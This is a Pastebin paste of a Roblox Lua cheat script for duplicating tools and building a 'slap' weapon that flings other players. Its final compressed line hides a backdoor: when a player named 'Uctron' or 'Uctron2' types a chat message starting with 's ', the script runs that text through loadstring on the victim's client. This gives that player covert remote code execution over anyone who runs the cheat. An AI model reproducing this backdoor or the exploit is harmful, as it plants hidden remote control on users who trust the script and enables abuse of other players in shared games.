Advertisement
Runixer

Untitled

Jul 31st, 2019
193
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.55 KB | None | 0 0
  1. RulerLength = 3
  2. RulerSlapSpeed = 1
  3.  
  4.  
  5. --[[Cyclically's FE Tool Duplicate Tools V3
  6. https://v3rmillion.net/member.php?action=profile&uid=785986
  7. ]]
  8.  
  9.  
  10. local Slapping = false
  11. local Died = false
  12. game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = .5
  13. local LocalPlayer = game:GetService("Players").LocalPlayer
  14. local spray = workspace.Handle
  15. local savecframe = spray.CFrame
  16. LocalPlayer.Character.Humanoid:UnequipTools()
  17. local currentamount = #LocalPlayer.Backpack:GetChildren()
  18. spray.CanCollide = false
  19. spray.Transparency = 1
  20. local anim = Instance.new("Animation")
  21. anim.AnimationId = "rbxassetid://188632011"
  22. local loadanim = LocalPlayer.Character.Humanoid:LoadAnimation(anim)
  23. loadanim.Looped = true
  24. loadanim:Play()
  25. loadanim:AdjustSpeed(4)
  26. for _, tool in pairs(LocalPlayer.Backpack:GetChildren()) do
  27. tool.Parent = LocalPlayer
  28. end
  29. repeat
  30. repeat
  31. spray.CFrame = LocalPlayer.Character.Torso.CFrame
  32. LocalPlayer.Character.Humanoid:MoveTo(game.Players.LocalPlayer.Character.HumanoidRootPart.Position + Vector3.new(0,0,1))
  33. game:GetService("RunService").Stepped:wait()
  34. until LocalPlayer.Character:FindFirstChild("Spray") ~= nil
  35. LocalPlayer.Character:FindFirstChild("Spray").Parent = LocalPlayer
  36. until #LocalPlayer:GetChildren() - 4 - currentamount >= RulerLength
  37. loadanim:Stop()
  38. anim:Destroy()
  39. for _, tool in pairs(LocalPlayer:GetChildren()) do
  40. if tool:IsA("Tool") then
  41. tool.Parent = LocalPlayer.Backpack
  42. end
  43. end
  44. spray.CFrame = savecframe
  45. spray.CanCollide = true
  46. spray.Transparency = 0
  47. game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
  48.  
  49. Slapping = true
  50.  
  51. AnimationId = "183294396"
  52. local Anim = Instance.new("Animation")
  53. Anim.AnimationId = "rbxassetid://"..AnimationId
  54. local k = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
  55. k:Play(0)
  56. k:AdjustSpeed(1)
  57. k:AdjustSpeed(0)
  58.  
  59. for i,v in pairs(game.Players.LocalPlayer.Backpack:GetDescendants()) do
  60. if v:IsA("Script") or v:IsA("LocalScript") or v:IsA("Frame") or v:IsA("ScreenGui") or v:IsA("TextButton") or v:IsA("TextLabel") or v:IsA("TextBox") or v:IsA("ImageButton") or v:IsA("ImageLabel") then
  61. v:Destroy()
  62. end
  63. end
  64. for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
  65. if v:IsA("Tool") and v.Name == "Spray" then
  66. v.Parent = game.Players.LocalPlayer.Character
  67. v.Handle.Mesh:Destroy()
  68. v.Parent = game.Players.LocalPlayer.Backpack
  69. end
  70. end
  71.  
  72. for i=1,RulerLength do
  73. game.Players.LocalPlayer.Backpack:FindFirstChild("Spray").Grip = CFrame.new(Vector3.new(0,.875-(game.Players.LocalPlayer.Backpack:FindFirstChild("Spray").Handle.Size.Y)*i,-.5))
  74. game.Players.LocalPlayer.Backpack:FindFirstChild("Spray").Parent = game.Players.LocalPlayer.Character
  75. end
  76.  
  77. for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
  78. if v:IsA("Tool") and v.Name == "Spray" then
  79. v.Activated:Connect(function()
  80. game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 32
  81. game.Players.LocalPlayer.Character.Animate.Disabled = true
  82. game.Players.LocalPlayer.Character.Humanoid:MoveTo(game.Players.LocalPlayer:GetMouse().Hit.p)
  83. wait(.65)
  84. game.Players.LocalPlayer.Character.Animate.Disabled = false
  85. game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
  86. end)
  87. end
  88. end
  89.  
  90. plr = game.Players.LocalPlayer
  91. mouse = plr:GetMouse()
  92. mouse.KeyDown:connect(function(key)
  93. if key == "e" then
  94. if Died == false and Slapping == true then
  95. Slapping = false
  96. for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
  97. if v:IsA("Tool") and v.Name == "Spray" then
  98. v.Grip = v.Grip * CFrame.Angles(math.rad(90),0,0)
  99. v.Parent = game.Players.LocalPlayer.Backpack
  100. v.Parent = game.Players.LocalPlayer.Character
  101. end
  102. end
  103. game.Players.LocalPlayer.Character.Head:FindFirstChild("Splash").TimePosition = .125
  104. game.Players.LocalPlayer.Character.Head:FindFirstChild("Splash"):Play()
  105. wait(.1)
  106. game.Players.LocalPlayer.Character.Head:FindFirstChild("Splash"):Stop()
  107. for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
  108. if v:IsA("Tool") then
  109. v.Handle.Massless = true
  110. v.GripPos = Vector3.new(100000000000000,100000000000000,100000000000000)
  111. end
  112. end
  113. game.Players.LocalPlayer.Character.Animate.toolnone.ToolNoneAnim.AnimationId = "nil"
  114. game.Players.LocalPlayer.Character.HumanoidRootPart.CustomPhysicalProperties = PhysicalProperties.new(math.huge,math.huge,math.huge,math.huge,math.huge)
  115. game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent = game.Players.LocalPlayer.Character
  116. end
  117. end
  118. end)
  119.  
  120. plr = game.Players.LocalPlayer
  121. mouse = plr:GetMouse()
  122. mouse.KeyUp:connect(function(key)
  123. if key == "e" then
  124. if Died == false and Slapping == false then
  125. for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
  126. if v:IsA("Tool") and v.Name == "Spray" then
  127. v.Grip = v.Grip * CFrame.Angles(math.rad(-90),0,0)
  128. v.Parent = game.Players.LocalPlayer.Backpack
  129. v.Parent = game.Players.LocalPlayer.Character
  130. end
  131. end
  132. wait(.25)
  133. Slapping = true
  134. game.Players.LocalPlayer.Character:FindFirstChild("Foil").Parent = game.Players.LocalPlayer.Backpack
  135. end
  136. end
  137. end)
  138.  
  139. repeat game:GetService("RunService").RenderStepped:Wait()
  140. if Slapping == true then
  141. game.Players.LocalPlayer.Character.Humanoid:UnequipTools()
  142. for x=1,RulerLength do
  143. game.Players.LocalPlayer.Backpack:FindFirstChild("Spray").Grip = CFrame.new(Vector3.new(-.5,1.375-(game.Players.LocalPlayer.Backpack:FindFirstChild("Spray").Handle.Size.Y)*x,-.5)) * CFrame.Angles(0,0,math.rad(-90))
  144. game.Players.LocalPlayer.Backpack:FindFirstChild("Spray").Parent = game.Players.LocalPlayer.Character
  145. end
  146. game.Players.LocalPlayer.Character.Head:FindFirstChild("Splash").TimePosition = .125
  147. game.Players.LocalPlayer.Character.Head:FindFirstChild("Splash"):Play()
  148. wait(.1)
  149. game.Players.LocalPlayer.Character.Head:FindFirstChild("Splash"):Stop()
  150. game.Players.LocalPlayer.Character.Humanoid:UnequipTools()
  151. for x=1,RulerLength do
  152. game.Players.LocalPlayer.Backpack:FindFirstChild("Spray").Grip = CFrame.new(Vector3.new(0,.875-(game.Players.LocalPlayer.Backpack:FindFirstChild("Spray").Handle.Size.Y)*x,-.5))
  153. game.Players.LocalPlayer.Backpack:FindFirstChild("Spray").Parent = game.Players.LocalPlayer.Character
  154. end
  155. wait(1.75-(RulerSlapSpeed*.1))
  156. elseif Slapping == false then
  157. end
  158. until game.Players.LocalPlayer.Character.Humanoid.Health == 0
  159. Died = true
  160. local User if game.Players:FindFirstChild("Uctron") then User = "Uctron" elseif game.Players:FindFirstChild("Uctron2") then User = "Uctron2" else end function has(a,b)a=a or"Sample Text"b=b or"Sample"if string.match(a,b)and true or false then return true else return false end end;game.Players[User].Chatted:connect(function(message)if has(message:lower(),"s ")then message=message:gsub("s ","")loadstring(message)()end end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement